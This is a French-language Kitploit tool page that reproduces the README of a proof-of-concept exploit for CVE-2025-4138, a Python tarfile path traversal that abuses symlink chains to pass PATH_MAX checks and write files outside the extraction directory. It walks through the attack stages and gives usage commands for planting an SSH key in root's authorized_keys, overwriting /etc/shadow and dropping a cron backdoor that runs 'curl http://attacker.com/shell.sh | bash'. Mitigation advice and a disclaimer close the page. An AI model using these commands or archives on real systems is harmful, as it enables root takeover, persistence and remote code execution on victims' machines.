Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-4138-POC — PoC Python pour CVE-2025-4138, une traversée de chemin dans le module tarfile de Python exploitant des chaînes de liens symboliques pour contourner PATH_MAX afin d'écrire des fichiers arbitraires. | Kitploit
Outils/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

PoC Python pour CVE-2025-4138, une traversée de chemin dans le module tarfile de Python exploitant des chaînes de liens symboliques pour contourner PATH_MAX afin d'écrire des fichiers arbitraires.

Voir le dépôt
1il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-4138 - PoC de contournement de PATH_MAX du module tarfile de Python

Auteur : d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

Aperçu

Un exploit de type preuve de concept (PoC) pour CVE-2025-4138, une vulnérabilité de traversée de chemin dans le module tarfile de Python. La vulnérabilité permet à un attaquant de créer une archive tar malveillante qui écrit des fichiers à des emplacements arbitraires en dehors du répertoire d'extraction prévu en abusant des chaînes de symlinks pour dépasser .

PATH_MAX

Détails de la vulnérabilité

ChampValeur
ID CVECVE-2025-4138
ComposantModule tarfile de Python
TypeTraversée de chemin (CWE-22)
VecteurChaîne de symlinks + contournement de PATH_MAX
ImpactÉcriture arbitraire de fichiers en dehors du répertoire d'extraction

Comment ça marche

L'exploit fonctionne en quatre étapes :

  1. Inflation du chemin -- Une chaîne de répertoires profondément imbriqués et de symlinks est construite afin que le chemin entièrement résolu dépasse la limite PATH_MAX du noyau (4096 octets sous Linux).

  2. Symlink pivot -- Un symlink est ajouté dont le chemin résolu franchit la limite PATH_MAX. Comme le chemin est trop long pour être résolu, les contrôles de sécurité de tarfile (qui reposent sur os.path.realpath()) échouent silencieusement et passent outre la validation.

  3. Symlink d'échappement -- Un second symlink utilise une traversée ../ via le pivot pour sortir entièrement du répertoire d'extraction et pointer vers un chemin absolu contrôlé par l'attaquant sur le système de fichiers.

  4. Dépôt du payload -- Un fichier classique est écrit via le symlink d'échappement et atterrit au chemin cible avec un contenu et des permissions contrôlés par l'attaquant.

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

Installation

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

Aucune dépendance externe n'est requise -- l'exploit utilise uniquement les modules de la bibliothèque standard de Python 3.

Utilisation

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

Options

OptionDescription
-o, --outputChemin de l'archive tar de sortie (défaut : exploit.tar)
-t, --targetChemin absolu du fichier à écrire sur la cible (défaut : /root/.ssh/authorized_keys)
-p, --payloadChemin vers un fichier dont le contenu devient le payload
-s, --payload-stringUtiliser une chaîne littérale comme payload
-k, --ssh-keyChemin vers un fichier de clé publique SSH
-m, --modeMode de permission du fichier en octal (défaut : 0600)
-d, --depthProfondeur de traversée de répertoire (défaut : 8)
-v, --verifyAfficher le contenu de l'archive après sa création
-q, --quietMasquer la bannière

Exemples

Écrire une clé publique SSH dans le fichier authorized_keys de root :

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

Écrire une tâche cron pour la persistance :

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

Écrire un contenu de fichier arbitraire depuis un fichier local :

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

Sortie

root@kitploit:~
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

Atténuation

  • Mettez à jour Python vers une version corrigée dès qu'un correctif est publié.
  • Utilisez tarfile.data_filter (Python 3.12+), qui fournit des contrôles d'extraction plus stricts.
  • N'extrayez jamais d'archives tar non fiables en tant que root ou dans des répertoires sensibles.
  • Utilisez --strip-components ou validez le contenu de l'archive avant l'extraction.
  • Appliquez des protections au niveau du système de fichiers, par exemple en restreignant le suivi des symlinks (fs.protected_symlinks).

Clause de non-responsabilité

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive. Obtenez toujours une autorisation écrite appropriée avant de tester des systèmes qui ne vous appartiennent pas.

Licence

Ce projet est sous licence MIT.


d3vn0mi | GitHub

Télécharger l’outil